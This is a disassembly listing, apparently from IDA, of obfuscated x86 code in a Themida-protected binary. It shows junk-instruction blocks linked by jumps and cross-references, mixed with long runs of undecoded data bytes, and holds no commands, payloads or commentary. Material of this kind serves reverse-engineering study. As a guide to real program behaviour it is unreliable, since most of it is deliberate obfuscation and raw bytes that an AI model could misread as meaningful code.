; ---------------------------------------------------------------------------
		dw 57B6h
		dd 285FC680h, 24148BF3h, 4C481h, 0C3280000h, 0C24E9h, 240C8900h
		dd 485C68h, 241C8900h, 0FFF618E9h, 7EBC1FFh, 725BF381h
		dd 1C681F50h, 89000027h, 46BF243Ch, 0C146990Ch,	0DAE904EFh
		dd 50FFFF6Bh, 17B68h, 241C8900h, 0FFB044E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_572919:				; CODE XREF: Themida_:0056B22Fj
		or	eax, 9FB1D88h
		jmp	loc_569906
; ---------------------------------------------------------------------------
		db 87h
		dd 248B242Ch, 2434FF24h, 8324048Bh, 685704C4h, 5890h, 83242489h
		dd 5F042404h, 796968h, 242C8900h, 934BE957h, 0C89FFFFh
		dd 242C8324h, 32D8E901h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57295A:				; CODE XREF: Themida_:00562D29j
		pop	edx
		sub	edi, eax
		add	edi, 21187AB8h
		push	dword ptr [esp]
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_561EE0
; ---------------------------------------------------------------------------
		db 89h
		dd 4C181E1h, 81000000h,	4E9h, 240C3300h, 0FF41FFE9h, 0F5C181FFh
		dd 0E939DF08h, 0FFFF35BEh
; ---------------------------------------------------------------------------


loc_572998:				; CODE XREF: Themida_:00563D4Aj
		mov	bl, 1Ah
		jmp	loc_574781
; ---------------------------------------------------------------------------
		db 0BAh
		dd 1EE7253Eh, 0B0EA814Ah, 8152DE4Eh, 7DDD2CF2h,	0CEC2E9C6h
		dd 48BFFFFh, 4C48324h, 0CF31F931h, 3147F931h, 31CF31F9h
		dd 9CE981F9h, 31C008F1h, 0EC8159C8h, 4,	53241489h, 3B57CBBBh
		dd 5BDA8973h, 700ABE56h, 0F001000Bh, 0FFF5F3E9h, 6404FFh
		dd 0B25253C8h, 0AD71E9B9h, 0C781FFFFh, 0EEDAA1D3h, 8EE9FA01h
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------


loc_572A0B:				; CODE XREF: Themida_:00571D9Dj
		mov	bh, ch
		jmp	loc_5608E4
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 77A1617Bh, 241C8B58h, 8304C483h, 343302C6h, 24343124h
		dd 8B243433h, 0D9E92424h, 1000028h, 5E955D8h, 80FFFF73h
		dd 0C58070EDh, 0E9D5F601h, 0FFFF252Ch, 0FF1C77FFh, 34FF2434h
		dd 24048B24h, 53595451h, 0B06558BBh, 0ACC3814Eh, 0E9B14F9Ah
		dd 0FFFFAC9Ch, 46850h, 1580000h, 0EA48E9C6h, 8758FFFFh
		dd 355C240Ch, 54E54828h, 2006852h, 34FF0000h, 0EB65E924h
		dd 248BFFFFh, 240C8924h, 0FEDC7CE9h, 0B9515DFFh, 6ACE61E5h
		dd 0A9BEC181h, 575512FDh, 0D52F3ABFh, 399E965h,	0C681FFFFh
		dd 1A19620Dh, 4EC81h, 4890000h,	4A86B824h, 0A0E95DEFh
		db 0CCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_572ACB:				; CODE XREF: Themida_:00570C21j
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_561B8E
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 6624248Bh, 5624048Bh, 0FF08D7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_572AED:				; CODE XREF: Themida_:00571E29j
		shr	eax, 4
		jmp	loc_56B22A
; ---------------------------------------------------------------------------
		db 5Dh,	89h, 0C5h
		dd 0FF7D33E9h, 0D8C68FFh, 0F758574Dh, 6E87E9D8h, 0CA80FFFFh
		dd 0C3C2801Bh, 41E9D000h, 5FFFFF63h, 0C1FFE883h, 0E94806E8h
		dd 1445h, 504E8C1h, 75CA454h, 2D58C689h, 581D0ED5h, 0D4723105h
		dd 2DF02977h, 77D47231h, 1D0ED505h, 53565E58h, 0FF20C7E9h
		dd 8BB850FFh, 0D4E3B51h, 71BD3CCEh, 4E45E505h, 2A7E256Ah
		dd 42E906FCh, 1FFFFAFh,	0FEEF81C7h, 0E90F996Dh,	0FFFF2272h
; ---------------------------------------------------------------------------


loc_572B74:				; CODE XREF: Themida_:00564990j
		push	ebx
		mov	ebx, esp
		jmp	loc_56BA75
; ---------------------------------------------------------------------------
		dd 0F0580C35h, 2123250Ah, 0B95156F8h, 0B8C7D040h, 0F4E9C829h
		db 0FDh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_572B93:				; CODE XREF: Themida_:00570570j
		add	esi, 0D71FCFCDh
		jmp	loc_574A7B
; ---------------------------------------------------------------------------


loc_572B9E:				; CODE XREF: Themida_:00572244j
		sub	esp, 4
		jmp	loc_5757BA
; ---------------------------------------------------------------------------
		db 29h,	0F5h, 8Bh
		dd 0C4832434h, 0C2B95104h, 816A9D5Eh, 0A70E20E9h, 0AAC1816Fh
		dd 0F750E85Ch, 0C0F181D1h, 298AC35Ah, 2B26E9CDh, 0C6810000h
		dd 5F442F3Ch, 0FF7725E9h, 0B83B9FFh, 0F9012335h, 0FFC764E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_572BE9:				; CODE XREF: Themida_:005657A5j
		pop	eax
		mov	ebx, [esp]
		add	esp, 4
		sub	ebx, 29CC0CD0h
		pop	ecx
		dec	ebx
		dec	ebx
		dec	ebx
		xor	ebx, 41282831h
		shr	ebx, 6
		push	edx
		mov	edx, 1FD1A8h
		xor	ebx, edx
		pop	edx
		sub	ebp, 44EF6570h
		add	ebp, ebx
		add	ebp, 44EF6570h
		jmp	loc_56152E
; ---------------------------------------------------------------------------
		db 55h
		dd 5A68D1BDh, 5DEF016Fh, 0FF6F1CE9h, 5FFD09FFh,	0ED81DDF7h
		dd 241D00Dh, 565DE901h,	1A0CBF57h, 8BE3AA5h, 313AA51Ah
		dd 0B8505FFEh, 4E44985h, 5E8C140h, 0FFFF23E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_572C59:				; CODE XREF: Themida_:00566B19j
		mov	dl, 49h
		dec	dl
		push	bx
		jmp	loc_568126
; ---------------------------------------------------------------------------
		dd 0C15DEE87h, 0D2E908EEh, 89FFFF68h, 0FFBB241Ch, 0E9FFFFFFh
		dd 1BC5h, 0C42BE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_572C82:				; CODE XREF: Themida_:00561C68j
		xor	edi, ebx
		xor	ebx, edi
		jmp	loc_560D11
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFEDA85h
; ---------------------------------------------------------------------------


loc_572C90:				; CODE XREF: Themida_:0056A848j
		push	edi
		push	eax
		push	esp
		pop	eax
		jmp	loc_563B99
; ---------------------------------------------------------------------------
		db 5Fh,	83h, 0C2h
		dd 24143304h, 33241431h, 8F5C2414h, 248B2404h, 0E0895024h
		dd 0FFC885E9h, 0BE5651FFh, 59CA1132h, 59189BB9h, 0E9F12999h
		dd 0FFFEECC4h
; ---------------------------------------------------------------------------


loc_572CC8:				; CODE XREF: Themida_:0056BB39j
		pop	esi
		add	esi, ebx
		jmp	loc_567CD8
; ---------------------------------------------------------------------------


loc_572CD0:				; CODE XREF: Themida_:005721C8j
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_56EEBB
; ---------------------------------------------------------------------------
		db 30h,	4, 24h
		dd 0DA2FE99Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_572CE6:				; CODE XREF: Themida_:00564878j
		or	esi, eax
		pop	eax
		jmp	loc_56D5D7
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 110DE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_572CF6:				; CODE XREF: Themida_:00566E88j
		add	edx, 86515D1h
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		push	4717h
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_560715
; ---------------------------------------------------------------------------


loc_572D26:				; CODE XREF: Themida_:0057358Ej
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_5701E1
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0FF3CEBE9h, 2474FFFFh, 48F5B04h, 0A6E95C24h, 5DFFFF0Ch
		dd 0FFC0B60Fh, 48E98734h, 80FFFF17h, 0EB882CEDh, 0FFB9D7E9h
		dd 80DFF6FFh, 36E95EF7h
		db 49h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_572D6B:				; CODE XREF: Themida_:00564A72j
		shr	ebx, 6
		jmp	loc_561256
; ---------------------------------------------------------------------------
		db 50h
		dd 0C060B151h, 0C1FE03E1h, 8844C180h, 0E0D059C8h, 0AE5E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_572D8A:				; CODE XREF: Themida_:00570090j
		add	edx, 4
		jmp	loc_57355A
; ---------------------------------------------------------------------------
		db 29h,	0F1h, 0E9h
		dd 0FFFFECF5h
; ---------------------------------------------------------------------------


loc_572D9C:				; CODE XREF: Themida_:00565C7Aj
		mov	ebp, 51864AA3h
		add	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	4362h
		jmp	loc_560F70
; ---------------------------------------------------------------------------
		dw 0E95Ah
		dd 0FFFFCD66h, 6AE95258h, 2DFFFFF6h, 2D019B3h, 637CA52Dh
		dd 5C8010Bh, 0B637CA5h,	229AB951h, 0D9F7242Ah, 2CFCF181h
		dd 0E9C13AADh, 8186803h, 5FE90000h, 0BDFFFFFBh,	78102F9Bh
		dd 39E9DD29h, 1FFFEE7h,	5B04245Ch, 0FD60E95Eh
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_572E06:				; CODE XREF: Themida_:0057186Dj
		push	45B5h
		mov	[esp], edx
		mov	edx, 7B576DC9h
		shl	edx, 1
		inc	edx
		add	edx, 6D502329h
		sub	edx, 1
		sub	edx, 63FEFEB7h
		add	edi, 725E5539h
		add	edi, edx
		sub	edi, 725E5539h
		pop	edx
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		push	edx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4DA87055h
		mov	edx, ebp
		pop	ebp
		push	ebp
		mov	ebp, 6D6F2C5Eh
		jmp	loc_56DEA2
; ---------------------------------------------------------------------------
		dd offset dword_55CF38+30h
		dw 8900h
		dd 6850240Ch, 14C971F2h, 0FF7167E9h, 240C89FFh,	308C68h
		dd 243C8900h, 57270168h, 0EFC15F07h, 5EFC104h, 5FB1E781h
		dd 0A6E973A2h, 0BEFFFFE3h, 4, 34FFF129h, 0C4835E24h, 240C3304h
		dd 0E9240C31h, 0FFFF6C71h, 4C281h, 7AE90000h, 83FFFFEDh
		dd 0FCE902C4h, 66000030h, 81240C8Bh, 4ECh, 242C8900h, 0C5815D54h
		dd 4, 95E95353h, 0FF00001Fh, 148B2434h,	5DE95024h
		db 9Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_572EE7:				; CODE XREF: Themida_:005688FAj
		push	ebp
		mov	ebp, esp
		jmp	loc_570512
; ---------------------------------------------------------------------------
		db 31h
		dd 0EFE92434h, 81FFFFD3h, 7E3522EBh, 6A27E92Ch,	0EC83FFFFh
		dd 24048904h, 4B8h, 4EC8100h, 89000000h, 18BF243Ch, 8167D65Ch
		dd 0B46ED6EFh, 0FDEF814Ch, 81E4FFA8h, 0D87C33F7h, 5FF92942h
		dd 0FED844E9h, 17A9BBFFh, 12E96506h
		db 89h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_572F3F:				; CODE XREF: Themida_:0056F3F5j
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		jmp	loc_57516C
; ---------------------------------------------------------------------------
		dw 815Ah
		dd 4C1h, 74FF5100h, 8F590424h, 248B2404h, 0EC835224h, 24248904h
		dd 4240483h, 8324148Bh,	0C28104C4h, 4, 0EBBE5651h, 0E9585943h
		dd 0FFFF2418h, 24048F5Dh, 0FE24248Bh, 0E99C2404h, 0FFFED785h
; ---------------------------------------------------------------------------


loc_572F90:				; CODE XREF: Themida_:005690FBj
		xor	ebx, 44EF76A4h
		shr	ebx, 3
		push	ecx
		mov	ecx, 422F642Fh
		shr	ecx, 6
		xor	ecx, 1D056EBBh
		or	ecx, 5B78589Fh
		add	ecx, 0A8D54FEFh
		sub	ebx, ecx
		pop	ecx
		sub	ebx, 77DDFA5Eh
		add	ebp, 54E3497Bh
		add	ebp, ebx
		jmp	loc_56A6B6
; ---------------------------------------------------------------------------
		dw 431h
		dd 0D743E924h, 215CFFFEh, 33B6E9F8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_572FDA:				; CODE XREF: Themida_:005652FCj
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 625B1C0Ch
		mov	eax, 0A15A6169h
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 54FF2E6Eh
		push	eax
		mov	eax, 0D97E1639h
		sub	esi, eax
		pop	eax
		sub	eax, esi
		pop	esi
		sub	eax, ebx
		jmp	loc_567C4C
; ---------------------------------------------------------------------------
		db 4Bh,	56h, 0E9h
		dd 0FFFF96F4h, 24048B66h, 0FF817BE9h, 0E78957FFh, 21BCE9h
		dd 8BE80100h, 0C481242Ch, 4, 558768h, 24348900h, 524BDFBEh
		dd 0A4C38133h, 522CE20Fh, 2D3121BAh, 0EF18E91Dh, 8B66FFFFh
		dd 96682404h, 8900007Eh, 0EC832404h, 5C52E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_573066:				; CODE XREF: Themida_:0056D1E1j
		add	esi, 0FFFFFFFFh
		shl	esi, 2
		shr	esi, 8
		jmp	loc_5638D2
; ---------------------------------------------------------------------------


loc_573077:				; CODE XREF: Themida_:0056505Ej
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edi
		push	1A233125h
		pop	edi
		sub	dword ptr [esp+4], 590E6DFDh
		sub	[esp+4], edi
		jmp	loc_56D890
; ---------------------------------------------------------------------------
		db 55h,	57h, 5Dh
		dd 87D7F75Fh, 0EEBA52FDh, 0E96CB863h, 0FFFF45BCh, 6AAAC181h
		dd 0E1C13F7Ah, 0F1814104h, 53F801A3h, 8A92F181h, 0CB018D59h
		dd 1B95159h, 1000000h, 0C38159CBh, 85C8358h, 815BDD31h
		dd 3A1D8C5h, 8BEA01EAh,	8950242Ch, 405E0h, 0C0830000h
		dd 24048704h, 2414335Ch, 33241431h, 0E0E92414h,	2DFFFEE2h
		dd 250B7EACh, 334C162Dh, 5D00112h, 12334C16h, 0FFEEC9E9h
		dd 0B3E681FFh, 81622733h, 2194CEh, 0C681464Ch, 0ECEE45B7h
		dd 348BF301h, 4B26E924h, 685CFFFFh, 1EADh, 81241C89h, 4ECh
		dd 0FCEBE900h, 0E589FFFEh, 4C581h, 0C5830000h, 6DE95504h
		dd 68FFFF36h, 6391h, 0B8240489h, 567A7577h, 8158C229h
		dd 453A7FC2h, 5279E939h, 0E95DFFFFh, 2890h, 5C243487h
		dd 428F68h, 61D5E900h, 248BFFFFh, 0D4E95724h, 0F7FFFF9Bh
		dd 0B8422DD0h, 0C389E625h, 8124048Bh, 4C4h, 6FBF5700h
		dd 15DAF79h, 0EBC15FFBh, 0E3C14306h, 58C38105h,	812A1227h
		dd 0D7C3C3F3h, 8BD8313Ch, 0EC81241Ch, 4, 89242C89h, 73E956E5h
		dd 0B8FFFFACh, 3CFA28EEh, 9A4D6135h, 113C2D65h,	0E3E96E45h
		db 15h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5731E3:				; CODE XREF: Themida_:0057346Fj
		mov	esi, esp
		jmp	loc_563566
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 24348924h, 490205BEh, 6E6C129h, 0FF13C0E9h, 5F565DFFh
		dd 55EF295Eh, 0FF1AA6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_573209:				; CODE XREF: Themida_:005695AFj
		sub	ebp, 4
		push	ebp
		jmp	loc_566504
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 54000000h, 0E924048Fh, 0FFFFA7A9h, 2DF4E981h, 0D8E911C5h
		dd 0B8FFFFF1h, 9BE0A004h, 48BC601h, 3B46E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57323E:				; CODE XREF: Themida_:00564B93j
		add	edx, eax
		pop	eax
		shl	edx, 1
		push	edi
		mov	edi, 4DBD48EAh
		xor	edx, edi
		pop	edi
		sub	edx, 395AD01Ch
		jmp	loc_564BD5
; ---------------------------------------------------------------------------
		db 81h
		dd 2C4h, 66B35300h, 284AC380h, 0E8005BDDh, 8B2434FFh, 8953240Ch
		dd 4C381E3h, 81000000h,	4C3h, 6B90E900h, 3433FFFFh, 24343124h
		dd 8B243433h, 0D3662424h, 0E99C242Ch, 0FFFED47Dh, 704EC181h
		dd 67E972A3h, 68FFFFBBh, 2654h,	0BE243489h, 0A6F1E55h
		dd 594840BAh, 5EF22920h, 15AD531h, 0C7835DEFh, 243C3304h
		dd 33243C31h, 0DFE9243Ch, 0BBFFFF9Fh, 0F35ADAE8h, 22D1E9h
		dd 4C78100h, 81000000h,	4EFh, 243C8700h, 240C895Ch, 0A2669968h
		dd 240C8B7Ch, 0F704C483h, 2156E9D1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5732FE:				; CODE XREF: Themida_:00561A82j
		shr	eax, 3
		jmp	loc_5611BF
; ---------------------------------------------------------------------------
		dw 0D621h
		dd 8124148Bh, 4C4h, 6E6C100h, 6D8EF681h, 98E969BDh
		db 3, 2	dup(0)
; ---------------------------------------------------------------------------


loc_57331F:				; CODE XREF: Themida_:0057347Dj
		and	eax, edx
		mov	edx, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_561939
		push	ebp
		sub	esp, 4
		jmp	loc_5660AD
; ---------------------------------------------------------------------------
		dw 0DB04h
		dd 0FF422FE9h, 241C89FFh, 26C568h, 24248900h, 4240481h
		dd 8B000000h, 0C481241Ch, 4, 1A30E9h
		db 0
; ---------------------------------------------------------------------------


loc_573365:				; CODE XREF: Themida_:00573578j
		xchg	edi, [esp]
		pop	esp
		push	ebx
		mov	ebx, 1D064D9Bh
		sub	esi, ebx
		pop	ebx
		shr	esi, 5
		shr	esi, 6
		jmp	loc_56CA9A
; ---------------------------------------------------------------------------
		db 89h,	0E2h, 81h
		dd 4C2h, 4EA8100h, 87000000h, 0E95C2414h, 2B2Bh
; ---------------------------------------------------------------------------


loc_573394:				; CODE XREF: Themida_:00562650j
		mov	[esp], edx
		mov	edx, 1D16D05h
		shr	edx, 8
		xor	edx, 72A5363Ch
		shl	edx, 6
		jmp	loc_5638BC
; ---------------------------------------------------------------------------
		dd offset dword_511448+720h
		align 2
		dw 1489h
		dd 4F8BA24h, 0DAF74578h, 31C1EA81h, 42E920F4h, 81FFFEE5h
		dd 4ECh, 24048900h, 88CF8853h, 241C8BF8h, 0FFF383E9h, 5E089FFh
		dd 4, 4BD55h, 0E8010000h, 2404875Dh, 0A0B8505Ch, 12C4159h
		dd 0F30158C3h, 59A0EB81h, 34FF2C41h, 0A97E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_57340A:				; CODE XREF: Themida_:00569FD3j
		pop	ebx
		add	ecx, 0FF66237Eh
		mov	eax, ecx
		pop	ecx
		add	ebp, 48221E6Eh
		add	ebp, eax
		push	ebx
		jmp	loc_56C91D
; ---------------------------------------------------------------------------
		dw 3489h
		dd 2474FF24h, 2434FF04h, 4C4815Eh, 8F000000h, 248B2404h
		dd 242C8924h, 0E978B6BDh, 8BE8314Ah, 0C483242Ch, 79BF5704h
		dd 52061C31h, 0FF05AFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_573455:				; CODE XREF: Themida_:0056C297j
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edx
		mov	eax, [esp]
		add	esp, 4
		mov	edx, [esp]
		push	esi
		jmp	loc_5731E3
; ---------------------------------------------------------------------------


loc_573474:				; CODE XREF: Themida_:0056A76Bj
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_57331F
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 4, 8704C783h, 0C7E9243Ch, 59FFFFD6h,	0FF97A5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_573499:				; CODE XREF: Themida_:0056C780j
		add	esi, 4
		push	esi
		jmp	loc_56ECE7
; ---------------------------------------------------------------------------
		dw 0E958h
		dd 0FFFFE4A8h
; ---------------------------------------------------------------------------


loc_5734A8:				; CODE XREF: Themida_:0056D8B7j
		pop	edx
		jmp	loc_573E24
; ---------------------------------------------------------------------------


loc_5734AE:				; CODE XREF: Themida_:0056BBBAj
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_5750C0
; ---------------------------------------------------------------------------
		dd 4240481h, 8B000000h,	89522414h, 3547E9E2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5734CE:				; CODE XREF: Themida_:0056E6C6j
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	edx
		jmp	loc_5746BB
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 49AF0CEAh, 7C3AC781h, 27E90521h, 89FFFED3h, 405E0h
		dd 0C0830000h, 24043304h, 0FF774CE9h, 0B6C380FFh, 66ABB551h
		dd 9F3EE950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57350E:				; CODE XREF: Themida_:0056D937j
		mov	eax, ebx
		mov	ebx, [esp]
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_57582C
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 24048B66h, 0FF1275E9h, 81E901FFh, 0E45328C1h, 0D127E921h
		dd 5659FFFFh, 692B3FBEh, 37C78159h, 8142A41Dh, 0E004BEEFh
		dd 81F72934h, 0E004BEC7h, 0B9E0E934h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57355A:				; CODE XREF: Themida_:00572D90j
		push	2789h
		mov	[esp], edi
		push	esi
		mov	esi, 4
		mov	edi, esi
		jmp	loc_56F283
; ---------------------------------------------------------------------------


loc_57356F:				; CODE XREF: Themida_:005748ADj
		add	edi, 4
		add	edi, 4
		jmp	loc_573365
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 4
		dd 1000000h, 5F04247Ch,	1D90E9h
		db 0
; ---------------------------------------------------------------------------


loc_57358D:				; CODE XREF: Themida_:0056A758j
		pop	edx
		jmp	loc_572D26
; ---------------------------------------------------------------------------


loc_573593:				; CODE XREF: Themida_:0056AED7j
		mov	ebp, 10D14AEEh
		dec	ebp
		inc	ebp
		shr	ebp, 8
		xor	ebp, 1A6E6806h
		xor	ebp, 0E92CAC78h
		jmp	loc_569AD4
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 4, 685FFB01h, 2BE8h,	0BE243489h, 36972431h, 0E955E6D1h
		dd 0FFFEDCD4h
; ---------------------------------------------------------------------------


loc_5735CC:				; CODE XREF: Themida_:00562844j
		mov	eax, 4
		push	edx
		mov	edx, 47E77A51h
		dec	edx
		or	edx, 713D6E71h
		shl	edx, 7
		shl	edx, 7
		jmp	loc_562D1B
; ---------------------------------------------------------------------------
		db 51h,	68h, 0E4h
		dd 5924B330h, 30E0F181h, 0C88924B3h, 56240C8Bh,	0C681E689h
		dd 4, 4C681h, 34870000h, 24248B24h, 0FEFA90E9h,	1C8B66FFh
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_56C064
; ---------------------------------------------------------------------------
		db 89h,	0EAh, 5Dh
		dd 0FFCADDE9h, 240489FFh, 0FF5E2AE9h, 31DF31FFh, 0E6EB81FBh
		dd 4315A464h, 0D1A8F381h, 0E955AFEAh, 17C3h, 44DCED81h
		dd 45E902ABh, 81FFFEF7h, 0AC1BF3C1h, 2434FF14h,	0FF1E66E9h
		dd 241C33FFh, 0FF1144E9h, 0FFCB00FFh, 83592434h, 0F38004C4h
		dd 3C38061h, 0E95BDE88h, 0FFFFC4D5h, 5C240487h,	54241C89h
		dd 0D682E95Bh, 34FFFFFFh, 24048B24h, 8104C483h,	4ECh, 243C8900h
		dd 76E9E789h
		db 93h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5736A7:				; CODE XREF: Themida_:00565CD3j
		xchg	eax, ebx
		jmp	loc_561370
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0AFE9F031h, 55FFFFA0h, 6871BB53h, 0DD891E15h, 5DEE295Bh
		dd 215EF131h, 0E8C159C8h, 53C83108h, 0C381E389h, 4, 4EB81h
		dd 0A9E90000h
		db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5736E3:				; CODE XREF: Themida_:00562133j
		pop	edx
		jmp	loc_5607AA
; ---------------------------------------------------------------------------
		db 53h,	52h, 0BAh
		dd 4, 32E9D389h, 52FFFEE1h, 0D188FA88h,	5F2C5B5Ah, 0A124E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_573706:				; CODE XREF: Themida_:0056EA1Cj
		push	4D4Eh
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_573BE5
; ---------------------------------------------------------------------------
		align 2
		dw 58E5h
		dd 0C580DDF6h, 0E9EC88F3h, 0FFFFD50Ah
; ---------------------------------------------------------------------------


loc_573728:				; CODE XREF: Themida_:00565680j
		sub	byte ptr [esp],	5
		sub	[esp], ch
		push	eax
		mov	ah, 5
		add	[esp+4], ah
		pop	eax
		add	byte ptr [esp],	0C7h
		mov	ch, [esp]
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 2
		jmp	loc_56ACD8
; ---------------------------------------------------------------------------
		dd 4FE6BF57h, 0F8890ADFh, 58C2295Fh, 24148758h,	0FF6FA4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_573769:				; CODE XREF: Themida_:00566206j
		add	ecx, 219441Dh
		sub	ecx, ebp
		sub	ecx, 219441Dh
		pop	ebp
		push	ebx
		mov	ebx, 666E50C0h
		sub	[esp+8], ebx
		pop	ebx
		sub	[esp+4], ecx
		push	ebx
		mov	ebx, 666E50C0h
		add	dword ptr [esp+8], 21135650h
		add	[esp+8], ebx
		sub	dword ptr [esp+8], 21135650h
		pop	ebx
		pop	ecx
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		push	3BF2h
		mov	[esp], ecx
		jmp	loc_569043
; ---------------------------------------------------------------------------
		db 68h
		dd 761h, 24048F54h, 792AE950h, 2368FFFFh, 8900006Dh, 42E92414h
		dd 0FFFFFECFh, 0FF042474h, 34FF2434h, 0D8E95E24h, 66FFFFC1h
		dd 5724048Bh, 6853E789h, 523Ch,	68242C89h, 7D4F67D6h, 0FEF2EEE9h
		dd 2E9C1FFh, 1DADC181h,	0E9C144C4h, 81D9F706h, 5F979F1h
		dd 59CA89F2h, 7F99E950h, 0E987FFFFh, 0E987D5F7h, 464CC181h
		dd 0E1C143E7h, 41E18106h, 8138370Bh, 70944F1h, 0E3B95100h
		dd 8101FA33h, 3E0767EAh, 81CA0127h, 3E0767C2h, 240C8B27h
		dd 4C481h, 0B9510000h, 4FFA4A1Dh, 5FB6C181h, 0E1C100A6h
		dd 14ADE903h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_573866:				; CODE XREF: Themida_:00570FF8j
		mov	[esp], eax
		push	esp
		jmp	loc_56BF31
; ---------------------------------------------------------------------------
		db 0B6h
		dd 0D9B7537Dh, 0D7F6C7FEh, 3042C780h, 0CEFE5BFEh, 8038CE80h
		dd 0F02028EEh, 0B353665Ah, 0E9D83087h, 0FFFF1928h, 33243431h
		dd 34312434h, 0E9D6F724h, 272Dh, 0E92434FFh, 0FFFFE98Eh
		dd 740EF281h, 0C2812B92h, 0E50F012Ch, 505AD389h, 5D50D889h
		dd 0E5C15B58h, 45DDF704h, 0B37DC581h, 0E0E951F3h
		db 0D5h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5738D3:				; CODE XREF: Themida_:005754A9j
		dec	ebp
		neg	ebp
		sub	ebp, 10B76315h
		sub	ebp, 445B505Ah
		mov	eax, ebp
		pop	ebp
		add	eax, 768678F2h
		add	eax, ebx
		sub	eax, 768678F2h
		push	dword ptr [eax]
		jmp	loc_56E55E
; ---------------------------------------------------------------------------
		dd 52243489h, 0B4060BBAh, 0C281421Ch, 54FB481Ch, 15AD689h
		dd 0EF815EF7h, 620C02C4h, 4EC815Dh, 89000000h, 74FF243Ch
		dd 8F5F0424h, 248B2404h, 3D95E924h, 0C481FFFFh,	4, 0FFD53CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_573939:				; CODE XREF: Themida_:00570872j
		add	eax, ebx
		jmp	loc_56C792
; ---------------------------------------------------------------------------


loc_573940:				; CODE XREF: Themida_:0056F873j
		add	ecx, 4
		jmp	loc_568B4B
; ---------------------------------------------------------------------------
		dd 0B252E800h, 5EAC08Ch, 0FF0385E9h, 1ACF81FFh,	0F76BB11Bh
		dd 2BF781DFh, 310469F9h, 0F0895FFEh, 8124348Bh,	4C4h, 8DBE5600h
		dd 138F93Ah, 2434FFF0h,	4C4835Eh, 7D442505h, 79AB2D6Eh
		dd 0D0016851h, 5179AB05h, 47E1E968h, 0D0BEFFFFh, 536174B8h
		dd 0E3AE9h, 2C48300h, 30952D66h, 58F22D66h, 66E82966h
